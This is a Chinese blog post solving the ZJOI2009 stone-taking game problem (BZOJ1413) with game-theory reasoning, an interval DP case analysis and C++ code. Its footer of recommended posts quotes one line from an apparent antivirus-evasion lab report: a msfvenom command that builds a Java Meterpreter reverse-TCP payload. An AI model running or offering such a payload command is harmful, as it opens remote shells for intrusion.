【BZOJ1413】[ZJOI2009]取石子游戏(博弈论,动态规划)

题面

BZOJ

洛谷

题解

神仙题.jpg。\(ZJOI\)是真的神仙。

发现\(SG\)函数等东西完全找不到规律,无奈只能翻题解。

首先设\(L[i][j]\)表示在\([i,j]\)这一段区间的左侧放上一堆数量为\(L[i][j]\)的石子后,先手必败。同理定义\(R[i][j]\)表示右侧。

首先我们可以证明\(L[i][j]\)唯一,假设存在两个\(L[i][j]\),显然较大的那个可以通过一步转移转移到较小的那个,所以不合法。因此\(L[i][j]\)唯一。

接下来考虑如何证明\(L[i][j]\)一定存在。假设\(L[i][j]\)不存在,那么对于这段区间而言,在左边加上任意一堆石子先手都必胜,既然先手必胜意味着先手进行一步操作之后可以到达一个必败态,这里分情况讨论。假设先手拿的是最左边的一堆石子,因为不存在\(L[i][j]\),所以只要拿了左边的石子之后,当前局面都是必胜态,所以不可能拿左边的石子。那么只能拿右边的石子,那么无论右边拿了一定量之后,无论左边添加了多少,都是一个必败态,那么此时后手在左侧随便拿走一定数量,这个状态也还是一个必败态,显然也不成立。因此\(L[i][j]\)必定存在。

综上,我们知道了\(L[i][j]\)一定存在并且唯一,而\(L[][],R[][]\)显然是对称的,因此\(R[i][j]\)也满足上述性质。

现在考虑如何求解\(L[i][j]\),\(R[i][j]\)同理。首先边界情况显然,\(L[i][i]=a[i]\),因为只剩下两堆一模一样的情况的时候,后手只需要模仿先手的行动对称执行就好了,这样子一定不会输,即先手必败。

接下来来大力分类讨论,为了方便(为了抄),设\(L=L[i][j-1],R=R[i][j-1],x=a[j]\)

  • \(x=R\)

    这种情况下显然只需要直接把\(a[j]\)放进去就好了,即这个区间本身就是一个必败态。所以\(L[i][j]=0\)。
  • \(x<L,x<R\)

    这种情况下\(L[i][j]=x\)。这种情况下最靠左的\(L[i][j]\)和\(x=a[j]\)是相同的,意味着先手无论怎么取,后手显然可以学着它的方法取,也就意味着左右两堆中显然必然会先拿完一堆,此时后手学着拿的那一堆的石子数一定也是小于\(L,R\)的。假设先手先拿完了最靠右的一堆,即剩下了\([i,j-1]\),因为\(L[i][j-1]\)表示的是在这一段区间最左侧加入一个\(L[i][j-1]\)的堆,无论先手怎么取先手都是必败的,那么我们等价的认为先手取走了这一堆的一部分,显然后手是必胜的。假如先手先取完的是最左的一堆,同理,\(R[i][j-1]\)的含义是在最右侧加入了一堆,而\(a[j]<R[i][j-1]\),我们还是可以等价的认为先手在这一堆中取走了若干石子,而这个状态对于先手而言是必败状态,因此显然后手必胜。
  • \(R<x<L\)

    这种情况下\(L[i][j]=x-1\)。这样子考虑,假设先手先拿了左边这一堆,那么假设还剩下了\(z\)个石子,如果\(z<R\),后手把右侧的那一堆也给拿成\(z\)就变成了上面的情况。如果\(z\ge R\),那么后手把最后那一堆拿成\(z+1\),于是又回到了这种情况,相当于这种情况递归处理。如果先手先拿的是右侧的这一堆,还是一样的,假设把它拿成了\(z\),如果\(z<R\),同上可以变成\(x<L,x<R\)的情况;如果\(y=R\),直接把左边拿完,就变成了\(R[i][j-1]\)的定义了,先手必败;如果\(z>R\),把左边那堆变成\(z-1\),同样递归处理。
  • \(L<x<R\)

    分析同上,\(L[i][j]=x+1\)。
  • \(x>L,x>R\)

    \(L[i][j]=x\)。还是一样的,假设先手把其中一堆拿成了\(z\)。如果\(z>L,R\),跟着先手拿成一样多的石子则又回到了这种情况。如果\(z<L,R\),则可以回到情况\(x<L,R\)。否则的话对应着把另外一堆变成\(z+1\)或者\(z-1\),对应着\(L<x<R\)和\(R<x<L\)两种情况。

而\(R[][]\)和\(L[][]\)是对称的,类似的求解即可。

那么最终只需要判断\(L[2][n]\)和\(a[1]\)是否相等即可判断胜负情况。

代码有点丑

#include<iostream>
#include<cstdio>
using namespace std;
#define MAX 1010
inline int read()
{
int x=0;bool t=false;char ch=getchar();
while((ch<'0'||ch>'9')&&ch!='-')ch=getchar();
if(ch=='-')t=true,ch=getchar();
while(ch<='9'&&ch>='0')x=x*10+ch-48,ch=getchar();
return t?-x:x;
}
int n,a[MAX],L[MAX][MAX],R[MAX][MAX];
int main()
{
int T=read();
while(T--)
{
n=read();
for(int i=1;i<=n;++i)a[i]=read();
for(int i=1;i<=n;++i)L[i][i]=R[i][i]=a[i];
for(int len=2;len<=n;++len)
for(int i=1,j=i+len-1;j<=n;++i,++j)
{
int x=a[j],l=L[i][j-1],r=R[i][j-1];
if(x==r)L[i][j]=0;
else if((x>l&&x>r)||(x<l&&x<r))L[i][j]=x;
else if(r<x&&x<l)L[i][j]=x-1;
else L[i][j]=x+1;
x=a[i],l=L[i+1][j],r=R[i+1][j];
if(x==l)R[i][j]=0;
else if((x>l&&x>r)||(x<l&&x<r))R[i][j]=x;
else if(r<x&&x<l)R[i][j]=x+1;
else R[i][j]=x-1;
}
puts(a[1]==L[2][n]?"0":"1");
}
}

【BZOJ1413】[ZJOI2009]取石子游戏(博弈论,动态规划)的更多相关文章

  1. bzoj1413 [ZJOI2009]取石子游戏

    Description 在研究过Nim游戏及各种变种之后,Orez又发现了一种全新的取石子游戏,这个游戏是这样的: 有n堆石子,将这n堆石子摆成一排.游戏由两个人进行,两人轮流操作,每次操作者都可以从 ...

  2. 洛谷P2599||bzoj1413 [ZJOI2009]取石子游戏

    bzoj1413 洛谷P2599 根本不会啊... 看题解吧 #include<cstdio> #include<algorithm> #include<cstring& ...

  3. 【一本通提高博弈论】[ZJOI2009]取石子游戏

    [ZJOI2009]取石子游戏 题目描述 在研究过 Nim 游戏及各种变种之后,Orez 又发现了一种全新的取石子游戏,这个游戏是这样的: 有 n n n 堆石子,将这 n n n 堆石子摆成一排.游 ...

  4. POJ.1067 取石子游戏 (博弈论 威佐夫博弈)

    POJ.1067 取石子游戏 (博弈论 威佐夫博弈) 题意分析 简单的威佐夫博弈 博弈论快速入门 代码总览 #include <cstdio> #include <cmath> ...

  5. HDU.2516 取石子游戏 (博弈论 斐波那契博弈)

    HDU.2516 取石子游戏 (博弈论 斐波那契博弈) 题意分析 简单的斐波那契博弈 博弈论快速入门 代码总览 #include <bits/stdc++.h> #define nmax ...

  6. bzoj 1413 [ZJOI2009]取石子游戏

    1413: [ZJOI2009]取石子游戏 Time Limit: 10 Sec  Memory Limit: 162 MBSubmit: 747  Solved: 490[Submit][Statu ...

  7. vijos 1557:bzoj:1413: [ZJOI2009]取石子游戏

    Description 在研究过Nim游戏及各种变种之后,Orez又发现了一种全新的取石子游戏,这个游戏是这样的: 有n堆石子,将这n堆石子摆成一排.游戏由两个人进行,两人轮流操作,每次操作者都可以从 ...

  8. 【刷题】BZOJ 1413 [ZJOI2009]取石子游戏

    Description 在研究过Nim游戏及各种变种之后,Orez又发现了一种全新的取石子游戏,这个游戏是这样的: 有n堆石子,将这n堆石子摆成一排.游戏由两个人进行,两人轮流操作,每次操作者都可以从 ...

  9. 【BZOJ1413】取石子游戏(博弈,区间DP)

    题意:在研究过Nim游戏及各种变种之后,Orez又发现了一种全新的取石子游戏,这个游戏是这样的: 有n堆石子,将这n堆石子摆成一排.游戏由两个人进行,两人轮流操作,每次操作者都可以从最左或最右的一堆中 ...

随机推荐

  1. 虚函数指针sizeof不为sizeof(void*)

    ref:http://bbs.csdn.net/topics/360249561 一个继承了两个虚基类又增加了自己的一个虚函数pif的类,sizeof(指向pif的指针)竟然是8(X86).我是从这里 ...

  2. 20155234 Exp3 免杀原理与实践

    使用msf编码器生成jar包 使用指令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.157.141 lport=5234 x> ...

  3. 20155301 Exp9 Web安全基础

    20155301 Exp9 Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 答 :原理: 利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web ...

  4. 20155317王新玮《网络对抗技术》实验8 WEB基础实践

    20155317王新玮<网络对抗技术>实验8 WEB基础实践 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与P ...

  5. 总结:C# 委托的全面理解

    在说事件之前得先了解委托. 委托,外表看来和C/C++中函数指针没什么区别,但是本质上你才发现他其实就是个类!也就是说理解委托得从 这个两个方面去理解(单从一个方面去理解感觉就怪怪的呵呵!) 理解委托 ...

  6. Kubernetes学习之路(二十五)之Helm程序包管理器

    目录 1.Helm的概念和架构 2.部署Helm (1)下载helm (2)部署Tiller 3.helm的使用 4.chart 目录结构 5.chart模板 6.定制安装MySQL chart (1 ...

  7. 学习JAVA第一章的心得

    我抱着万分期待的心情开始了我第一天的JAVA学习课程,其实在第一开始的时候我对计算机行业便有很高地兴趣了.这主要归功于我真的从很小开始就就接触了电脑.进入学校以来,我就很期待老师会怎样教我们,会怎样带 ...

  8. 初级字典树查找在 Emoji、关键字检索上的运用 Part-1

    系列索引 Unicode 与 Emoji 字典树 TrieTree 与性能测试 生产实践 前言 通常用户自行修改资料是很常见的需求,我们规定昵称长度在2到10之间.假设用户试图使用表情符号 ‍

  9. Mac 上flink的安装与启动

    在Mac 上安装flink,需要通过Homebrew安装的 1.howmebrew的安装方式,在终端粘贴以下命令,或者去官网https://brew.sh/index_zh-cn 找到此代码复制粘贴到 ...

  10. python获取时间————前一天后一天前一小时后一小时前一分钟后一分钟

    获取当天日期 一: import time print(time.strftime("%Y-%m-%d")) #输出当前日期 2018-05-01 二: import dateti ...